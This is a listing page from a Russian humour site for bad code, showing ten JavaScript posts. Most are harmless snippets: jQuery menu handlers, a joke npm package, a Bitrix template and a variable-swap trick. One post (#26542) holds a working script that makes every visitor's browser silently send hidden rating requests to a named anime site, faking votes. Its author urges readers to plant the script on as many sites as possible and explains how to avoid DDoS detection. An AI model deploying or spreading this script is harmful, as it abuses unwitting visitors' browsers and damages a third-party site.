1. JavaScript / Говнокод #26691

    +2

    1. 1
    2. 2
    3. 3
    function isNative (Ctor){
      return typeof Ctor === 'function' && /native code/.test(Ctor.toString())
    }

    https://habr.com/ru/company/ruvds/blog/503634/
    >>> 5 интересных JavaScript-находок, сделанных в исходном коде Vue

    gost, 26 Мая 2020

    Комментарии (46)
  2. JavaScript / Говнокод #26679

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    $openTab.on('click', function () {
                $('.c-header__nav__level-1').hide();
                $('.c-header__nav__level-back').show();
                $tabContent.show();
            });
    
            //показываем меню 1 уровня когда нажимаем на бургер
    
            $('.c-header__toggler--burger').on('click', function () {
                $('.c-header__toggler').toggle();
                $('.c-header__nav__level-1').fadeIn();
                $('body').addClass('body-no-scroll');
    
            });
    
            //скрытие на кнопку закрытие
    
            $('.c-header__toggler--close').on('click', function () {
                $('.c-header__toggler').toggle(); //сама кнопка
                $('.c-header__nav__level-1').fadeOut(); //закрываем первый уровень
                $tabContent.fadeOut(); //закрываем второй уровень
                setTimeout(function () { //тайм-аут для восстановления 2 уровня по умолчанию
                    $('.c-header__nav__level-2-item--show').removeClass('c-header__nav__level-2-item--show');
                    $('.c-header__nav__level-2-item').show();
                }, 800);
                $('.c-header__nav__level-3').fadeOut(); //закрываем 3 уровень
                $('.c-header__nav__back').fadeOut(); // закрываем все кнопки 'назад'
                $('body').removeClass('body-no-scroll');
            });
    
            //кнопка "назад" со 2 на 1 уровень
    
            $('.c-header__nav__level-back').on('click', function () {
                $(this).hide().parent().hide().prev().show();
            });
    
            $('.c-header__nav__level-2-back').on('click', function () {
    
                $(this).hide();
                $(this).prev().show();
                $('.c-header__nav__level-2').removeClass('is-active');
            });
    
            //кнопка "назад" с 3 на 2 уровень
    
            $('.c-header__nav__level-3-back').on('click', function () {
                $(this).hide()
                    .parent().find('.c-header__nav__level-2-item--show').removeClass('c-header__nav__level-2-item--show'); // восстановления 2 уровня по умолчанию
                $('.c-header__nav__level-2-item').show(); // восстановления 2 уровня по умолчанию
                $('.c-header__nav__level-2-back').show(); //восстанавливаем кнопку "назад" 2 уровня
                $('.c-header__nav__level-3').hide(); //закрываем 3 уровень
    
    
            });
    
            //переход с 2 на 3 уровень
    
            $('.c-header__nav__level-2-item').on('click', function () {
                $('.c-header__nav__level-2-item').not($(this)).hide(); //закрываем весь 2 уровень кроме нажатого
                $(this).addClass('c-header__nav__level-2-item--show'); //стили для нажатого 2 уровня
                $('.c-header__nav__level-2-back').hide(); //скрываем кнопку "назад" 2 уровня
                $('.c-header__nav__level-3').show(); // показываем кнопку "назад" 3 уровня
                $('.c-header__nav__level-3-back').show(); //показываем 3 уровень
            });
    
            //новое меню
            $('body').on('click', '.c-header__nav__level-left__link.parent', function (e) {
                e.preventDefault();
                $(this).next('ul').addClass('is-active');
                $('.c-header__nav__level-2-back').show();
                $('.c-header__nav__level-back').hide();
            });

    Главное, что задокументировано

    phpBidlokoder2, 21 Мая 2020

    Комментарии (2)
  3. JavaScript / Говнокод #26630

    0

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    <script src="3.js"></script>
    <script> alert("part2") </script>
    <script src="1.js"></script>
     в 3.js 
    'use strict'
    let age = Number(null)
    alert(age)

    почему-то результат разный = то part2 то 0, ничего не меняю, просто результат разный каждый раз

    AtivniyGOMIkk228, 02 Мая 2020

    Комментарии (14)
  4. JavaScript / Говнокод #26622

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    (() => {
    const urlPrefix = 'https://distrochooser.de/en/';
    const msgs = [];
    let msg = '';
    for (let i = 479076; i > 0; --i) {
    const url = urlPrefix + i;
    if (msg.length + url.length + 1 < 2000) {
    msg += '\n';
    msg += url;
    } else {
    msgs.push(msg);
    msg = url;
    }
    }
    return msgs;
    })()

    Проходим мимо, не обращаем внимания.

    Ведутся SEO-работы.

    Needless, 30 Апреля 2020

    Комментарии (74)
  5. JavaScript / Говнокод #26620

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    'use strict';
    
    const isOdd = require("is-odd");
    
    module.exports = function isIsOdd(func) {
    	return func == isOdd;
    }

    https://www.npmjs.com/package/is-is-odd

    Why

    Some functions are not is-odd but they might make you think they're is-odd, this package helps you identify these functions with a simple interface.

    Нить бессмысленных npm-модулей.

    3.14159265, 29 Апреля 2020

    Комментарии (143)
  6. JavaScript / Говнокод #26605

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    $('#spheres__street-nav').hover(function () {
                        $('.header-submenu__spheres-nav__item').removeClass('active');
                        $('.header-submenu__spheres-menu').removeClass('active');
                        $(this).addClass('active');
                        $('#spheres__street-content').addClass('active');
                    });
    
                    $('#spheres__sport-nav').hover(function () {
                        $('.header-submenu__spheres-nav__item').removeClass('active');
                        $('.header-submenu__spheres-menu').removeClass('active');
                        $(this).addClass('active');
                        $('#spheres__sport-content').addClass('active');
                    });
    
                    $('#spheres__prom-nav').hover(function () {
                        $('.header-submenu__spheres-nav__item').removeClass('active');
                        $('.header-submenu__spheres-menu').removeClass('active');
                        $(this).addClass('active');
                        $('#spheres__prom-content').addClass('active');
                    });

    Когда не можешь загуглить, как делаются табы

    phpBidlokoder2, 27 Апреля 2020

    Комментарии (5)
  7. JavaScript / Говнокод #26542

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    <script>
        document.addEventListener('DOMContentLoaded', function() {
          for(let i=1; i<50; i++) {
            let num = getRandomIntInclusive(1, 4447);
          	let img = document.createElement('img');
            let img2 = document.createElement('img');
            let img3 = document.createElement('img');
          	img.src = 'https://animebest.org/engine/ajax/m_rating.php?news_id='+num+'&area=video&go_rate=1';
            img2.src = 'https://animebest.org/engine/ajax/m_rating.php?news_id='+num+'&area=gameplay&go_rate=1';
            img3.src = 'https://animebest.org/engine/ajax/m_rating.php?news_id='+num+'&area=sound&go_rate=1';
            img.style.position = img2.style.position = img3.style.position = 'fixed';
            img.style.top = img2.style.top = img3.style.top = '-50000px';
            document.body.append(img);
            document.body.append(img2);
            document.body.append(img3);
          }
        });
        function getRandomIntInclusive(min, max) {
          min = Math.ceil(min);
          max = Math.floor(max);
          return Math.floor(Math.random() * (max - min + 1)) + min;
        }
      </script>

    Ахуенный код чтобпоказать админам что они долбоёбы и нехуй юзать get pапросы!
    Поставил на несколько своих сайтов где по 300-400 просмотров в месяц. Но я также нуждаюсь в вашей поддержке, ставьте его везде где только можно!
    Не палится ддосом если запускать раз в пару минут!! По моим подсчётам через год у них будут в минусе все аниме
    Но если вы поддержите меня то это случится даже быстрееееееее

    codershitter, 30 Марта 2020

    Комментарии (35)
  8. JavaScript / Говнокод #26510

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    <script>
    			if (!window.BX && top.BX)
    				window.BX = top.BX;
    
    			<?CMedialib::AppendLangMessages();?>
    			window.<?= $arConfig['event']?> = function(bLoadJS)
    			{
    				if (window.oBXMedialib && window.oBXMedialib.bOpened)
    					return false;
    
    				<?if(!CMedialib::CanDoOperation('medialib_view_collection', 0)):?>
    					return alert(ML_MESS.AccessDenied);
    				<?else:?>
    
    				if (!window.BXMediaLib)
    				{
    					if (bLoadJS !== false)
    					{
    						// Append CSS
    						BX.loadCSS("/bitrix/js/fileman/medialib/medialib.css");
    
    						var arJS = [];
    						if (!window.jsAjaxUtil)
    							arJS.push("/bitrix/js/main/ajax.js?v=<?= filemtime($_SERVER["DOCUMENT_ROOT"].'/bitrix/js/main/ajax.js')?>");
    						if (!window.jsUtils)
    							arJS.push("/bitrix/js/main/utils.js?v=<?= filemtime($_SERVER["DOCUMENT_ROOT"].'/bitrix/js/main/utils.js')?>");
    						if (!window.CHttpRequest)
    							arJS.push("/bitrix/js/main/admin_tools.js?v=<?= filemtime($_SERVER["DOCUMENT_ROOT"].'/bitrix/js/main/admin_tools.js')?>");
    
    						arJS.push("/bitrix/js/fileman/medialib/common.js?v=<?= filemtime($_SERVER["DOCUMENT_ROOT"].'/bitrix/js/fileman/medialib/common.js')?>");
    						arJS.push("/bitrix/js/fileman/medialib/core.js?v=<?= filemtime($_SERVER["DOCUMENT_ROOT"].'/bitrix/js/fileman/medialib/core.js')?>");
    						BX.loadScript(arJS);
    					}
    					return setTimeout(function(){<?=$arConfig['event']?>(false)}, 50);
    				}
    
    				<?CMedialib::ShowJS()?>
    				<?
    					$arSet = explode(',' , CUserOptions::GetOption("fileman", "medialib_user_set", '600,450,0'));
    					$width = $arSet[0] ? intVal($arSet[0]) : 600;
    					$height = $arSet[1] ? intVal($arSet[1]) : 450;
    					$coll_id = $arSet[2] ? intVal($arSet[2]) : 0;
    				?>
    				window._mlUserSettings = window._mlUserSettings || {width: <?=$width?>, height: <?=$height?>, coll_id: <?=$coll_id?>}
    
    				var oConfig =
    				{
    					sessid: "<?=bitrix_sessid()?>",
    					thumbWidth : <?= COption::GetOptionInt('fileman', "ml_thumb_width", 140)?>,
    					thumbHeight : <?= COption::GetOptionInt('fileman', "ml_thumb_height", 105) ?>,
    					userSettings : window._mlUserSettings,
    					resType: "<?= $resultDest?>",
    					Types : <?= CUtil::PhpToJSObject(CMedialib::GetTypes($arConfig['types']))?>,
    					arResultDest : <?= CUtil::PhpToJSObject($arConfig['arResultDest'])?>,
    					rootAccess: {
    						new_col: '<?= CMedialib::CanDoOperation('medialib_new_collection', 0)?>',
    						edit: '<?= CMedialib::CanDoOperation('medialib_edit_collection', 0)?>',
    						del: '<?= CMedialib::CanDoOperation('medialib_del_collection', 0)?>',
    						new_item: '<?= CMedialib::CanDoOperation('medialib_new_item', 0)?>',
    						edit_item: '<?= CMedialib::CanDoOperation('medialib_edit_item', 0)?>',
    						del_item: '<?= CMedialib::CanDoOperation('medialib_del_item', 0)?>',
    						access: '<?= CMedialib::CanDoOperation('medialib_access', 0)?>'
    					},
    					bCanUpload: <?= $USER->CanDoOperation('fileman_upload_files') ? 'true' : 'false'?>,
    					bCanViewStructure: <?= $USER->CanDoOperation('fileman_view_file_structure') ? 'true' : 'false'?>,
    					strExt : "<?= CUtil::JSEscape(CMedialib::GetMediaExtentions())?>",
    					lang : "<?= $arConfig['lang']?>",
    					description_id : '<?= CUtil::JSEscape($arConfig['description_id'])?>'
    				};
    
    				window.oBXMedialib = new BXMediaLib(oConfig);
    				oBXMedialib.Open();
    				<?endif;?>
    			};
    			</script>

    phpBidlokoder2, 20 Марта 2020

    Комментарии (57)
  9. JavaScript / Говнокод #26504

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    interface TemplateReducerInterface {
        getConfigParameters(): Promise<ConfigParametersResult>
        getConfig(): Record<string, any>
        setConfig(config: Record<string, any>): void
        getDirectoriesForRemove(): Promise<string[]>
        getFilesForRemove(): Promise<string[]>
        getDependenciesForRemove(): Promise<string[]>
        getFilesContentReplacers(): Promise<ReplaceFileContentItem[]>
        finish(): Promise<void>
        getTestConfigSet(): Promise<Record<string, any>[]>
    }

    Какой «TypeScript» )))

    https://habr.com/ru/post/487648/

    gost, 14 Марта 2020

    Комментарии (63)
  10. JavaScript / Говнокод #26493

    0

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    let a = 1
    let b = 2
    
    setTimeout(() => {
        [a, b] = [b, a]
        console.log(a) // 2
        console.log(b) // 1
    }, 0)

    Дорогие ребята! Сегодня мы с вами будем изучать самые поехавшие способы обмена значениями двух переменных.

    https://yandex.ru/turbo?text=https%3A%2F%2Fgames.sololaki. ru%2F4-sposoba-proizvesti-obmen-znacheniyami-peremennyh%2F

    eukaryote, 12 Марта 2020

    Комментарии (105)